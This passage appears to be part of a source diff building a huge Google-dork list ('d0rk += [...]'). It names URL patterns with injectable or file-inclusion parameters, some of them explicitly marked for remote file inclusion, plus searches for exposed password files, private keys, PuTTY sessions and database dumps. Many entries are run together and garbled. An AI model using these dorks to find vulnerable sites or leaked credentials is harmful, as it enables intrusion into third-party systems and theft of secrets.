'offer.php?idf', 'offerinfo.php?id', 'oftentypedasargumentstrings', 'oglinet.php?oglid', 'ogloszenia/rss.asp?cat', 'ogloszenia/rss.php?cat', 'oldreports.php?file', 'onlinesales/product.asp?productid', 'onlinesales/product.php?productid', 'onlineshop/productView.php?rangeId', 'openfile', 'opengroupware.orgresistanceisobsoleteReportBugsUsername', 'opengroupware.orgresistanceisobsoleteReportBugsUsernamepassword', 'openxchangelogin.pl', 'opinion.php?option', 'opinions.php?id', 'opportunities/bursary.php?id', 'opportunities/event.php?id', 'oppureprovate\http//bobbobwww', 'oracle/ifaqmaker.php?id', 'orasso.wwssoappadmin.lslogin', 'order', 'order.asp?BookID', 'order.asp?id', 'order.asp?itemID', 'order.asp?lotid', 'order.cfm?BookID', 'order.cfm?id', 'order.cfm?itemID', 'order.php?BookID', 'order.php?id', 'order.php?itemID', 'order.php?langorder.php?lang', 'order.php?listorder.php?list', 'order.php?lnorder.php?ln', 'order.php?lorder.php?l', 'order.php?pageorder.php?page', 'order.php?pagorder.php?pag', 'order.php?pgorder.php?pg', 'order.php?porder.php?p', 'order.php?wporder.php?wp', 'order.php?wpphp?wp', 'order/cart/index.php?maincatid', 'ordernow.php?prodid', 'osCommerceadminintextredistributableundertheGNUintextOnlineCatalogdemositeoscommerce.com', 'ospfd.confintextpasswordsampletesttutorialdownload', 'otherinformation', 'ourblog.asp?categoryid', 'ourblog.php?categoryid', 'ovcgi/jovw', 'ovtv.asp?item', 'ovtv.php?item', 'p.php?pp.php?p', 'p.php?pphp?p', 'packageinfo.php?id', 'packagesdisplay.asp?ref', 'packagesdisplay.php?ref', 'padrao.php?', 'padrao.php?OpenPage', 'padrao.php?[]', 'padrao.php?a', 'padrao.php?abre', 'padrao.php?addr', 'padrao.php?basedir', 'padrao.php?basepath', 'padrao.php?body', 'padrao.php?c', 'padrao.php?choix', 'padrao.php?cont', 'padrao.php?corpo', 'padrao.php?d', 'padrao.php?destino', 'padrao.php?eval', 'padrao.php?filepath', 'padrao.php?h', 'padrao.php?header', 'padrao.php?incl', 'padrao.php?index', 'padrao.php?ir', 'padrao.php?link', 'padrao.php?loc', 'padrao.php?menu', 'padrao.php?menue', 'padrao.php?mid', 'padrao.php?middle', 'padrao.php?n', 'padrao.php?name', 'padrao.php?nivel', 'padrao.php?oldal', 'padrao.php?op', 'padrao.php?open', 'padrao.php?pag', 'padrao.php?page', 'padrao.php?path', 'padrao.php?pname', 'padrao.php?pre', 'padrao.php?qry', 'padrao.php?read', 'padrao.php?redirect', 'padrao.php?root', 'padrao.php?rub', 'padrao.php?secao', 'padrao.php?secc', 'padrao.php?seccion', 'padrao.php?section', 'padrao.php?seite', 'padrao.php?sekce', 'padrao.php?sivu', 'padrao.php?str', 'padrao.php?strona', 'padrao.php?subject', 'padrao.php?texto', 'padrao.php?tipo', 'padrao.php?type', 'padrao.php?u', 'padrao.php?url', 'padrao.php?var', 'padrao.php?xlink', 'page', 'page.asp?PartID', 'page.asp?areaid', 'page.asp?id', 'page.asp?modul', 'page.asp?module', 'page.asp?pId', 'page.cfm', 'page.cfm?PartID', 'page.php5?idpage.php5?id', 'page.php5?idphp5?id', 'page.php?', 'page.php?OpenPage', 'page.php?PartID', 'page.php?[]', 'page.php?abre', 'page.php?action', 'page.php?addr', 'page.php?adresa', 'page.php?areaid', 'page.php?arqphp?arq', 'page.php?basedir', 'page.php?chapter', 'page.php?choix' ] 
+d0rk += [ 'page.php?cmd', 'page.php?cont', 'page.php?doc', 'page.php?e', 'page.php?ev', 'page.php?eval', 'page.php?file', 'page.php?g', 'page.php?go', 'page.php?goto', 'page.php?id', 'page.php?inc', 'page.php?incl', 'page.php?ir', 'page.php?left', 'page.php?link', 'page.php?lnphp?ln', 'page.php?load', 'page.php?loader', 'page.php?mid', 'page.php?middle', 'page.php?mod', 'page.php?modo', 'page.php?modul', 'page.php?module', 'page.php?numero', 'page.php?oldal', 'page.php?option', 'page.php?p', 'page.php?pId', 'page.php?pa', 'page.php?panel', 'page.php?phpbbrootpath', 'page.php?pname', 'page.php?ppage.php?p', 'page.php?pphp?p', 'page.php?pref', 'page.php?q', 'page.php?qry', 'page.php?read', 'page.php?recipe', 'page.php?redirect', 'page.php?secao', 'page.php?section', 'page.php?seite', 'page.php?showpage', 'page.php?sivu', 'page.php?spage.php?s', 'page.php?sphp', 'page.php?sphp?s', 'page.php?strona', 'page.php?subject', 'page.php?tipo', 'page.php?url', 'page.php?where', 'page.php?z', 'page/de/produkte/produkte.asp?prodID', 'page/de/produkte/produkte.php?prodID', 'page/venue.asp?id', 'page/venue.php?id', 'page2.php?id', 'pageType1.php?id', 'pageType2.php?id', 'pageprod.php?idcat', 'pages', 'pages.asp?ID', 'pages.php?id', 'pages.php?page', 'pages/events/specificevent.php?id', 'pages/index.php?pID', 'pages/print.asp?id', 'pages/print.php?id', 'pages/product.php?productid', 'pages/video.asp?id', 'pages/video.php?id', 'pagina', 'pagina.php?OpenPage', 'pagina.php?basedir', 'pagina.php?basepath', 'pagina.php?category', 'pagina.php?channel', 'pagina.php?chapter', 'pagina.php?choix', 'pagina.php?cmd', 'pagina.php?dir', 'pagina.php?ev', 'pagina.php?filepath', 'pagina.php?g', 'pagina.php?go', 'pagina.php?goto', 'pagina.php?header', 'pagina.php?home', 'pagina.php?id', 'pagina.php?in', 'pagina.php?incl', 'pagina.php?include', 'pagina.php?index', 'pagina.php?ir', 'pagina.php?k', 'pagina.php?lang', 'pagina.php?left', 'pagina.php?link', 'pagina.php?load', 'pagina.php?loader', 'pagina.php?loc', 'pagina.php?mid', 'pagina.php?middlePart', 'pagina.php?modo', 'pagina.php?my', 'pagina.php?n', 'pagina.php?nivel', 'pagina.php?numero', 'pagina.php?oldal', 'pagina.php?pagina', 'pagina.php?panel', 'pagina.php?path', 'pagina.php?pr', 'pagina.php?pre', 'pagina.php?q', 'pagina.php?read', 'pagina.php?recipe', 'pagina.php?ref', 'pagina.php?sec', 'pagina.php?secao', 'pagina.php?seccion', 'pagina.php?section', 'pagina.php?sekce', 'pagina.php?start', 'pagina.php?str', 'pagina.php?thispage', 'pagina.php?tipo', 'pagina.php?to', 'pagina.php?type', 'pagina.php?u', 'pagina.php?v', 'pagina.php?z', 'painting.php?id', 'panditonline/productlist.php?id', 'papsecretscvs', 'parentdirectory/appz/xxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryDVDRipxxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryGamezxxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryMP3xxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryNameofSingeroralbumxxxhtmlhtmphpshtmlopendivx', 'parentdirectoryNameofSingeroralbumxxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryXvidxxxhtmlhtmphpshtmlopendivxmd5md5sums', 'parentdirectoryproftpdpasswd', 'participant.php?id', 'pass.dat', 'passlist', 'passlist.txt', 'passlist.txtabetterway', 'passwd', 'passwd.txt', 'passwd/etcreliable', 'passwdfiletypetxt', 'password', 'pastevent.asp?id', 'pastevent.php?id', 'path', 'path.php?', 'path.php?[]', 'path.php?action', 'path.php?addr', 'path.php?adresa', 'path.php?body', 'path.php?category', 'path.php?channel', 'path.php?chapter', 'path.php?cmd', 'path.php?destino', 'path.php?disp', 'path.php?doshow', 'path.php?ev', 'path.php?eval', 'path.php?filepath', 'path.php?goto', 'path.php?header', 'path.php?home', 'path.php?id', 'path.php?in', 'path.php?incl', 'path.php?ir', 'path.php?left', 'path.php?link', 'path.php?load', 'path.php?loader', 'path.php?menue', 'path.php?mid', 'path.php?middle', 'path.php?middlePart', 'path.php?my', 'path.php?nivel', 'path.php?numero', 'path.php?opcion', 'path.php?option', 'path.php?p', 'path.php?pageweb', 'path.php?panel', 'path.php?path', 'path.php?play', 'path.php?pname', 'path.php?pre', 'path.php?pref', 'path.php?qry', 'path.php?recipe', 'path.php?sec', 'path.php?secao', 'path.php?sivu', 'path.php?sp', 'path.php?start', 'path.php?strona', 'path.php?subject', 'path.php?thispage', 'path.php?tipo', 'path.php?type', 'path.php?var', 'path.php?where', 'path.php?xlink', 'path.php?y', 'path/index.php?functioncustom&custompath', 'pathofcpcommerce/functions.php?prefix', 'pathtocalendar', 'payment.asp?CartID', 'payment.cfm?CartID', 'payment.php?CartID', 'pbserver.dll', 'pcANYWHEREEXPRESSJavaClient', 'pdetail.asp?itemid', 'pdetail.cfm?itemid', 'pdetail.php?itemid', 'pdfpost.asp?ID', 'pdfpost.php?ID', 'people.lst', 'perform.inifiletypeini', 'performfiletypeini', 'perl', 'perl.exe', 'perl/printenv', 'perlshop.cgi', 'person.php?id', 'pharmaxim/category.asp?cid', 'pharmaxim/category.php?cid', 'phf', 'phoneaddressemailcurriculumvitae', 'phorum/read.php?3716721quote', 'photog.php?id', 'photogallery.asp?id', 'photogallery.php?id', 'photoview.php?id', 'php', 'php.cgi', 'php.inifiletypeini' ] 
+d0rk += [ 'php/event.php?id', 'php/fid27BF3BCB1A648805B511298CE6D643E72B4D59AD.aspx?s', 'php/fid8E1BED06B1301BAE3ED64383D5F619E3B1997A70.aspx?s', 'php/fid985C124FBD9EF3A29BA8F40521F12D097B0E2016.aspx?s', 'php/fidEAD6DDC6CC9D1ADDFD7876B7715A3342E18A865C.aspx?s', 'php/index.php?id', 'php121login.php', 'phpMyAdminMySQLDumpINSERTINTOthe', 'phpMyAdminMySQLDumpfiletypetxt', 'phpMyAdminWelcometophpMyAdminrunningonasroot', 'phpMyAdmindumps', 'phpMyAdminrunningonmain.php', 'phpOpenTrackerStatistics', 'phpPgAdminLoginLanguage', 'phpSysInfo/createdbyphpsysinfo', 'phpWebMail', 'phpaddressbookThisistheaddressbookforwarning', 'phphlstatsintextHalflifestatisticsfilelistsusernameand', 'phpicalendaradministrationsitesourceforge.net', 'phpinfo', 'phpinfoPHPVersion', 'phpinfomysql.defaultpasswordZends?ri?tingLanguageEngine', 'phpnews.login', 'phpshop/index.php?basedir', 'phpwcms/include/incext/spaw/dialogs/table.php?spawroot', 'phpwcms/include/incext/spaw/dialogs/table.php?spawrootindex.php?id', 'phpwcms/include/incext/spaw/dialogs/table.php?spawrootphpwcms/index.php?id', 'phpx?PageID', 'picgallery/category.asp?cid', 'picgallery/category.php?cid', 'pipe.php?HCLpath', 'pivot/modules/moduledb.php?pivotpath', 'player.php?id', 'playold.php?id', 'pleaselogin', 'pleaseloginyourpasswordis', 'plesklogin.php3', 'plik', 'pls/admin/gateway.htm', 'pls/admin/gateway.htmrpSys.htmlsearch.phpvbulletinservlet/webacc', 'plusmail', 'pm/lib.inc.php?pmpath', 'podcast/item.asp?pid', 'podcast/item.php?pid', 'poem.php?id', 'poemlist.asp?bookID', 'poemlist.php?bookID', 'policy.php?id', 'ponuky/itemshow.asp?ID', 'ponuky/itemshow.php?ID', 'pop.php?id', 'port.php?content', 'portafolio/portafolio.asp?id', 'portafolio/portafolio.php?id', 'portfolio.html?categoryid', 'portscan.phpfromPort|PortRange', 'post.php?id', 'postfixadminpostfixadminextphp', 'postquery', 'poweredbyEQdkp', 'poweredbydoodlecart', 'poweredbyopenbsdpoweredbyapache', 'poweredbyphpCOIN1.2.3', 'powered|performedbyBeyondSecuritysAutomatedScanningkazaaexample', 'powered|performedbyBeyondSecurity�sAutomatedScanningkazaaexample', 'powersearch.asp?CartId', 'powersearch.cfm?CartId', 'powersearch.php?CartId', 'powerup.cgi?alatest&t', 'ppads/external.php?type', 'preferences.ini[emule]', 'preorder.php?bookID', 'press.php?', 'press.php?OpenPage', 'press.php?[]', 'press.php?abre', 'press.php?addr', 'press.php?basedir', 'press.php?category', 'press.php?channel', 'press.php?destino', 'press.php?dir', 'press.php?ev', 'press.php?get', 'press.php?goFile', 'press.php?home', 'press.php?i', 'press.php?id', 'press.php?inc', 'press.php?incl', 'press.php?include', 'press.php?ir', 'press.php?itemnav', 'press.php?lang', 'press.php?link', 'press.php?loader', 'press.php?menu', 'press.php?mid', 'press.php?middle', 'press.php?modo', 'press.php?module', 'press.php?my', 'press.php?nivel', 'press.php?opcion', 'press.php?option', 'press.php?pa', 'press.php?page', 'press.php?pageweb', 'press.php?pagina', 'press.php?panel', 'press.php?param', 'press.php?path', 'press.php?pg', 'press.php?pname', 'press.php?pr', 'press.php?pref', 'press.php?redirect', 'press.php?root', 'press.php?rub', 'press.php?second', 'press.php?seite', 'press.php?strona', 'press.php?subject', 'press.php?t', 'press.php?thispage', 'press.php?to', 'press.php?type', 'press.php?where', 'press.php?xlink', 'press/press.php?id', 'press2.php?ID', 'presscutting.php?id', 'presse.php?dophp?do', 'presse.php?dopresse.php?do', 'pressrelease.asp?id', 'pressrelease.php?id', 'pressrelease/releasedetail.php?id', 'pressreleases.php?id', 'pressreleases/pressreleases.php?id', 'pressroom/viewnews.php?id', 'preview.php?id', 'preview.php?pid', 'prevresults.asp?prodID', 'prevresults.php?prodID', 'price.asp', 'price.cfm', 'price.php', 'principal.php?abre', 'principal.php?addr', 'principal.php?b', 'principal.php?basepath', 'principal.php?choix', 'principal.php?cont', 'principal.php?conteudo', 'principal.php?corpo', 'principal.php?d', 'principal.php?destino', 'principal.php?disp', 'principal.php?ev', 'principal.php?eval', 'principal.php?f', 'principal.php?filepath', 'principal.php?goto', 'principal.php?header', 'principal.php?home', 'principal.php?id', 'principal.php?in', 'principal.php?inc', 'principal.php?index', 'principal.php?ir', 'principal.php?ki', 'principal.php?l', 'principal.php?left', 'principal.php?link', 'principal.php?load', 'principal.php?loader', 'principal.php?loc', 'principal.php?menue', 'principal.php?middle', 'principal.php?middlePart', 'principal.php?module', 'principal.php?my', 'principal.php?n', 'principal.php?nivel', 'principal.php?oldal', 'principal.php?opcion', 'principal.php?p', 'principal.php?pag', 'principal.php?pagina', 'principal.php?param', 'principal.php?phpbbrootpath', 'principal.php?pollname', 'principal.php?pr', 'principal.php?pre', 'principal.php?pref', 'principal.php?q', 'principal.php?read', 'principal.php?recipe', 'principal.php?ref', 'principal.php?rub', 'principal.php?s', 'principal.php?secc', 'principal.php?seccion', 'principal.php?seite', 'principal.php?strona', 'principal.php?subject', 'principal.php?tipo', 'principal.php?to', 'principal.php?type' ] 
+d0rk += [ 'principal.php?url', 'principal.php?viewpage', 'principal.php?w', 'principal.php?z', 'print.asp?id', 'print.asp?sid', 'print.cgi', 'print.php?OpenPage', 'print.php?addr', 'print.php?basedir', 'print.php?basepath', 'print.php?category', 'print.php?chapter', 'print.php?choix', 'print.php?cont', 'print.php?dir', 'print.php?disp', 'print.php?doshow', 'print.php?g', 'print.php?goFile', 'print.php?goto', 'print.php?header', 'print.php?id', 'print.php?in', 'print.php?inc', 'print.php?itemnav', 'print.php?ki', 'print.php?l', 'print.php?left', 'print.php?link', 'print.php?loc', 'print.php?menu', 'print.php?menue', 'print.php?middle', 'print.php?middlePart', 'print.php?module', 'print.php?my', 'print.php?name', 'print.php?numero', 'print.php?opcion', 'print.php?open', 'print.php?option', 'print.php?pag', 'print.php?page', 'print.php?pagerphp?pager', 'print.php?pagerprint.php?pager', 'print.php?param', 'print.php?path', 'print.php?play', 'print.php?pname', 'print.php?pollname', 'print.php?pre', 'print.php?r', 'print.php?read', 'print.php?root', 'print.php?rub', 'print.php?s', 'print.php?sekce', 'print.php?sid', 'print.php?sivu', 'print.php?sp', 'print.php?str', 'print.php?strona', 'print.php?tablephp?table', 'print.php?thispage', 'print.php?tipo', 'print.php?type', 'print.php?u', 'print.php?where', 'printarticle.php?id', 'printcards.asp?ID', 'printcards.php?ID', 'printer/main.htmlintextsettings', 'printstory.asp?id', 'printstory.php?id', 'privacy.asp?cartID', 'privacy.cfm?cartID', 'privacy.php?cartID', 'privatekeyfiles.csr', 'privatekeyfiles.key', 'prod.asp?cat', 'prod.php?cat', 'prod.php?prodphp?prod', 'prodView.asp?idProduct', 'prodView.cfm?idProduct', 'prodView.php?idProduct', 'prodbycat.asp?intCatalogID', 'prodbycat.cfm?intCatalogID', 'prodbycat.php?intCatalogID', 'proddetail.php?id', 'proddetail.php?prod', 'proddetail.php?prodphp?prod', 'proddetails.php?id', 'proddetails.php?productsid', 'proddetailsprint.php?prodid', 'prodetails.asp?prodid', 'prodetails.cfm?prodid', 'prodetails.php?prodid', 'prodindiv.php?groupid', 'prodinfo.php?id', 'prodlist.asp?catid', 'prodlist.cfm?catid', 'prodlist.php?catid', 'prodotti.asp?idcat', 'prodotti.php?idcat', 'prodrev.php?cat', 'prodshow.asp?id', 'prodshow.asp?prodid', 'producedbygetstats', 'product.asp?', 'product.asp?ItemID', 'product.asp?ProductID', 'product.asp?bid', 'product.asp?bookID', 'product.asp?cat', 'product.asp?id', 'product.asp?idh', 'product.asp?intProdID', 'product.asp?intProductID', 'product.asp?pid', 'product.asp?prd', 'product.asp?prodid', 'product.asp?product', 'product.asp?shopprodid', 'product.asp?sku', 'product.cfm?bookID', 'product.cfm?intProdID', 'product.php?', 'product.php?ItemID', 'product.php?ProductID', 'product.php?bid', 'product.php?bookID', 'product.php?brand', 'product.php?c', 'product.php?cat', 'product.php?catid', 'product.php?fdProductId', 'product.php?id', 'product.php?idh', 'product.php?inid', 'product.php?intProdID', 'product.php?intProductID', 'product.php?lang', 'product.php?par', 'product.php?pcid', 'product.php?pid', 'product.php?pl', 'product.php?prd', 'product.php?prodid', 'product.php?prodnum', 'product.php?product', 'product.php?productno', 'product.php?productsid', 'product.php?proid', 'product.php?rangeid', 'product.php?shopprodid', 'product.php?sku', 'product.search.php?proid', 'product/detail.asp?id', 'product/detail.php?id', 'product/list.asp?pid', 'product/list.php?pid', 'product/product.asp?cate', 'product/product.asp?productno', 'product/product.php?cate', 'product/product.php?productno', 'product2.php?id', 'product3.php?id', 'productDetail.php?prodId', 'productDetails.asp?idProduct', 'productDetails.cfm?idProduct', 'productDetails.php?id', 'productDetails.php?idProduct', 'productDisplay.asp', 'productDisplay.cfm', 'productDisplay.php', 'productList.asp?cat', 'productList.php?cat', 'productcustomed.php?pid', 'productdetail.asp?productid', 'productdetail.cfm?id', 'productdetail.php?id', 'productdetail.php?productid', 'productdetails.asp?id', 'productdetails.asp?prodid', 'productdetails.asp?productid', 'productdetails.php?prodID', 'productdetails.php?productid', 'productguide/companydetail.php?id', 'productinfo.asp?id', 'productinfo.asp?item', 'productinfo.asp?itemid', 'productinfo.asp?productsid', 'productinfo.cfm?item', 'productinfo.cfm?itemid', 'productinfo.php?cat', 'productinfo.php?id', 'productinfo.php?item', 'productinfo.php?itemid', 'productinfo.php?productsid', 'productitem.php?id', 'productlist.asp?ViewTypeCategory&CategoryID', 'productlist.asp?categoryid', 'productlist.asp?cid', 'productlist.asp?fid', 'productlist.asp?grpid', 'productlist.asp?id', 'productlist.asp?tid', 'productlist.cfm?ViewTypeCategory&CategoryID', 'productlist.php?ViewTypeCategory&CategoryID', 'productlist.php?categoryid', 'productlist.php?cid', 'productlist.php?fid', 'productlist.php?grpid', 'productlist.php?id', 'productlist.php?tid', 'productpage.asp', 'productpage.cfm', 'productpage.php', 'productpage.php?ID', 'productrange.asp?rangeID', 'productrange.php?rangeID', 'productrangesview.asp?ID', 'productrangesview.php?ID', 'productreviews.php?featureid' ] 
+d0rk += [ 'products.asp?DepartmentID', 'products.asp?ID', 'products.asp?act', 'products.asp?cat', 'products.asp?categoryID', 'products.asp?catid', 'products.asp?groupid', 'products.asp?keyword', 'products.asp?openparent', 'products.asp?p', 'products.asp?rub', 'products.asp?type', 'products.cfm?ID', 'products.cfm?keyword', 'products.html?file', 'products.php?DepartmentID', 'products.php?ID', 'products.php?act', 'products.php?areaid', 'products.php?cat', 'products.php?categoryID', 'products.php?catid', 'products.php?cid', 'products.php?groupid', 'products.php?keyword', 'products.php?mainID', 'products.php?openparent', 'products.php?p', 'products.php?page', 'products.php?parent', 'products.php?prodphp?prod', 'products.php?req', 'products.php?rub', 'products.php?session', 'products.php?sku', 'products.php?sub', 'products.php?subgroupid', 'products.php?type', 'products/?catID', 'products/Blitzball.htm?id', 'products/card.asp?prodID', 'products/card.php?prodID', 'products/category.php?id', 'products/displayproduct.php?productid', 'products/index.asp?rangeid', 'products/index.php?cat', 'products/index.php?rangeid', 'products/itemshow.php?itemId', 'products/model.php?id', 'products/parts/detail.asp?id', 'products/parts/detail.php?id', 'products/product.asp?ID', 'products/product.asp?pid', 'products/product.php?article', 'products/product.php?id', 'products/product.php?pid', 'products/productdetails.php?prodID', 'products/productlist.asp?id', 'products/productlist.php?id', 'products/products.asp?p', 'products/products.php?cat', 'products/products.php?p', 'products/testimony.php?id', 'products/treedirectory.asp?id', 'productsByCategory.asp?intCatalogID', 'productsByCategory.cfm?intCatalogID', 'productsByCategory.php?intCatalogID', 'productscategory.asp?CategoryID', 'productscategory.cfm?CategoryID', 'productscategory.php?CategoryID', 'productsconnectionsdetail.php?catid', 'productsdetail.asp?CategoryID', 'productsdetail.cfm?CategoryID', 'productsdetail.php?CategoryID', 'productsdetail.php?id', 'productsdisplaydetails.asp?prodid', 'productsdisplaydetails.php?prodid', 'productsview.asp?proid', 'productsview.php?proid', 'productview.php?id', 'produit.php?id', 'produit.php?prodphp?prod', 'produkt.php?prodphp?prod', 'profile.asp?id', 'profile.php?id', 'profile.php?objID', 'profile/detail.php?id', 'profile/newsdetail.php?id', 'profileprint.asp?id', 'profileprint.php?id', 'profiles.', 'profiles/profile.asp?profileid', 'profiles/profile.php?profileid', 'profilesfiletypemdb', 'profileview.php?id', 'program/details.php?ID', 'projDetail.php?id', 'projdetails.asp?id', 'projdetails.php?id', 'projectdisplay.php?pid', 'projects/detail.php?id', 'projects/event.asp?id', 'projects/event.php?id', 'projects/project.php?id', 'projects/pview.php?id', 'projects/view.php?id', 'promo.asp?id', 'promo.cfm?id', 'promo.php?id', 'promotion.asp?catid', 'promotion.cfm?catid', 'promotion.php?catid', 'promotion.php?id', 'properties.asp?idcat', 'properties.php?idcat', 'property.asp?id', 'property.php?id', 'proxy|wpadextpac|extdatfindproxyforurl', 'psyBNCconfigfiles', 'psychology/people/detail.asp?id', 'psychology/people/detail.php?id', 'pub/pds/pdsview.asp?start', 'pub/pds/pdsview.php?start', 'public', 'publication/ontargetdetails.php?oid', 'publications.asp?Id', 'publications.php?id', 'publications/?id', 'publications/bookreviews/fullreview.asp?id', 'publications/bookreviews/fullreview.php?id', 'publications/publication.asp?id', 'publications/publication.php?id', 'publications/view.asp?id', 'publications/view.php?id', 'publicindividualsponsorship.php?ID', 'publisher', 'pubsdetails.php?id', 'pubsmore2.php?id', 'purelydiamond/products/category.asp?cat', 'purelydiamond/products/category.php?cat', 'putty.reg', 'pview.asp?Item', 'pview.cfm?Item', 'pview.php?Item', 'pwd.dat', 'pwd.db', 'pylones/item.php?item', 'qrystr', 'queries/lostquotes/?id', 'query', 'questions.asp?questionid', 'questions.php?questionid', 'rapidshareintextlogin', 'rating.asp?id', 'rating.php?id', 'rating/stat.asp?id', 'rating/stat.php?id', 'ray.php?id', 'rca/store/item.php?item', 'rdbqdssite.edusite.milsite.gov', 'read.php?id', 'read.php?in', 'readnews.php?id', 'reagir.php?num', 'recipe/category.asp?cid', 'recipe/category.php?cid', 'recordprofile.php?id', 'recruitdetails.php?id', 'redaktion/whiteteeth/detail.asp?nr', 'redaktion/whiteteeth/detail.php?nr', 'redirect.cgi', 'referral/detail.asp?siteid', 'referral/detail.php?siteid', 'register.cgi', 'release.php?id', 'releases.php?id', 'releasesheadlinesdetails.asp?id', 'releasesheadlinesdetails.php?id', 'remixer.php?id', 'remoteassessmentOpenAanvalConsole', 'rentals.php?id', 'reply.asp?id', 'reply.php?id', 'reportEVERESTHomeEdition', 'reportdetail.asp?id', 'reporter.cgi?t', 'reports.php?subreports.php?sub', 'resellers.asp?idCategory', 'resellers.cfm?idCategory', 'resellers.php?idCategory', 'resource.php?id', 'resources/category.php?CatID', 'resources/detail.asp?id', 'resources/detail.php?id', 'resources/index.asp?cat', 'resources/index.php?cat', 'resources/vulnerabilitieslist.asp?id', 'resources/vulnerabilitieslist.php?id', 'responder.cgi', 'ressource.php?ID' ] 
+d0rk += [ 'restaurant.php?id', 'results.asp?cat', 'results.cfm?cat', 'results.php?cat', 'retail/indexbobby.php?id', 'review.php?id', 'review/reviewform.asp?itemid', 'review/reviewform.php?itemid', 'reviews.asp?id', 'reviews.php?id', 'reviews/index.php?cat', 'reviews/moredetails.php?id', 'rfiofthis/embed/day.php?path', 'rfiofthis/includes/dbal.php?eqdkprootpath', 'rfiofthisenc/content.php?HomePath', 'rfitorhis/coinincludes/constants.php?CCFG[PKGPATHINCL]', 'rfitothis/classes/adodbt/sql.php?classesdir', 'rfitothis/header.php?abspath', 'rfitothis/main.php?sayfa', 'rfitothis/mcf.php?content', 'rfitothis/sources/functions.php?CONFIG[mainpath]', 'rfitothis/sources/template.php?CONFIG[mainpath]', 'rfitothis/surveys/survey.inc.php?path', 'rmcs/opencomic.phtml?rowid', 'robot.txt|robots.txtintextdisallowfiletypetxt', 'robots.txt', 'robots.txtDisallowfiletypetxt', 'root.asp?acsanonOutlookMailWebAccessdirectorycanbe', 'roundsdetail.asp?id', 'roundsdetail.php?id', 'rpSys.html', 'rss.asp?cat', 'rss.php?cat', 'rss.php?id', 'rss.php?phpraiddir$2', 'rss.php?phpraiddir', 'rss.php?phpraiddirphpraid', 'rss/event.asp?id', 'rss/event.php?id', 'rtfe.asp?siteid', 'rtfe.php?siteid', 'rub.php?idr', 'rubp.php?idr', 'rubrika.php?idr', 'rural/rss.php?cat', 'ruta', 'rymoLogin|intextWelcometorymofamily', 's.asp?w', 's.php?tablephp?table', 's.php?w', 's1.php?lnphp?ln', 'safehtml', 'savecart.asp?CartId', 'savecart.cfm?CartId', 'savecart.php?CartId', 'schule/termine.asp?view', 'schule/termine.php?view', 'scripts/comments.php?id', 'seWork.aspx?WORKID', 'search', 'search.asp?CartID', 'search.cfm?CartID', 'search.php?CartID', 'search.php?cutepath', 'search.php?execsearch.php?exec', 'search.php?ki', 'search.php?q', 'search.phpvbulletin', 'search/admin.php', 'search/display.asp?BookID', 'search/display.php?BookID', 'search/index.php?q', 'searchcat.asp?searchid', 'searchcat.cfm?searchid', 'searchcat.php?searchid', 'secondary.php?id', 'secringextskr|extpgp|extbak', 'section', 'section.asp?section', 'section.php?id', 'section.php?parent', 'section.php?section', 'sectionpage.php?id', 'secureimgrender.php?p', 'selectbiblio.php?id', 'sem.php3?id', 'sendmail.cfm', 'sendmail.inc', 'sendpage.php?page', 'sendreminders.php?includedir', 'sendreminders.php?includedirsendreminders.php?includedir', 'server.cfgrconpassword', 'serverdbsindexof', 'serverinfoApacheServerInformation', 'serverstatusapache', 'service.pwd', 'services.php?page', 'servicesdetailsdescription.php?id', 'servlet/webacc', 'setsmodek', 'setsmodep', 'setsmodes', 'setuptheadministratoruserpivot', 'shareit/readreviews.php?cat', 'shippinginfo.asp?CartId', 'shippinginfo.cfm?CartId', 'shippinginfo.php?CartId', 'shop', 'shop.asp?a', 'shop.asp?action', 'shop.asp?bookid', 'shop.asp?cartID', 'shop.asp?id', 'shop.cfm?a', 'shop.cfm?action', 'shop.cfm?bookid', 'shop.cfm?cartID', 'shop.cgi', 'shop.php?a', 'shop.php?action', 'shop.php?bookid', 'shop.php?cartID', 'shop.php?dopart&id', 'shop.php?idcat', 'shop.php?prodphp?prod', 'shop.pl/page', 'shop.pl/pageshop.pl/page', 'shop/booksdetail.asp?bookID', 'shop/booksdetail.php?bookID', 'shop/category.asp?catid', 'shop/category.php?catid', 'shop/eventshop/productdetail.asp?itemid', 'shop/eventshop/productdetail.php?itemid', 'shop/index.asp?cPath', 'shop/index.php?cPath', 'shop/index.php?catid', 'shop/pages.php?page', 'shop/product.php?id', 'shop/productdetails.php?ProdID', 'shop/products.php?cat', 'shop/products.php?catid', 'shop/products.php?p', 'shop/shop.php?id', 'shopaddtocart.asp', 'shopaddtocart.asp?catalogid', 'shopaddtocart.cfm', 'shopaddtocart.cfm?catalogid', 'shopaddtocart.php', 'shopaddtocart.php?catalogid', 'shopadmin.aspShopAdministratorsonly', 'shopbasket.asp?bookid', 'shopbasket.cfm?bookid', 'shopbasket.php?bookid', 'shopbycategory.asp?catid', 'shopbycategory.cfm?catid', 'shopbycategory.php?catid', 'shopcafeshopproduct.asp?bookId', 'shopcafeshopproduct.php?bookId', 'shopcart.asp?title', 'shopcart.cfm?title', 'shopcart.php?title', 'shopcategory.php?id', 'shopcreatorder.asp', 'shopcreatorder.cfm', 'shopcreatorder.php', 'shopcurrency.asp?cid', 'shopcurrency.cfm?cid', 'shopcurrency.php?cid', 'shopdbtest.asp', 'shopdc.asp?bookid', 'shopdc.cfm?bookid', 'shopdc.php?bookid', 'shopdetails.asp?prodid', 'shopdetails.cfm?prodid', 'shopdetails.php?prodid', 'shopdisplaycategories.asp', 'shopdisplaycategories.cfm', 'shopdisplaycategories.php', 'shopdisplayproduct.asp?catalogid', 'shopdisplayproduct.cfm?catalogid', 'shopdisplayproduct.php?catalogid', 'shopdisplayproducts.asp', 'shopdisplayproducts.asp?catid', 'shopdisplayproducts.cfm', 'shopdisplayproducts.php', 'shopdisplayproducts.php?catid', 'shopexd.asp', 'shopexd.asp?catalogid', 'shopexd.cfm', 'shopexd.cfm?catalogid', 'shopexd.php', 'shopexd.php?catalogid', 'shopping.php?id', 'shopping/index.php?id', 'shoppingarticle.php?id', 'shoppingbasket.asp?cartID', 'shoppingbasket.cfm?cartID', 'shoppingbasket.php?cartID', 'shopprojectlogin.asp', 'shopprojectlogin.cfm', 'shopprojectlogin.php', 'shopquery.asp?catalogid', 'shopquery.cfm?catalogid', 'shopquery.php?catalogid', 'shopremoveitem.asp?cartid', 'shopremoveitem.cfm?cartid', 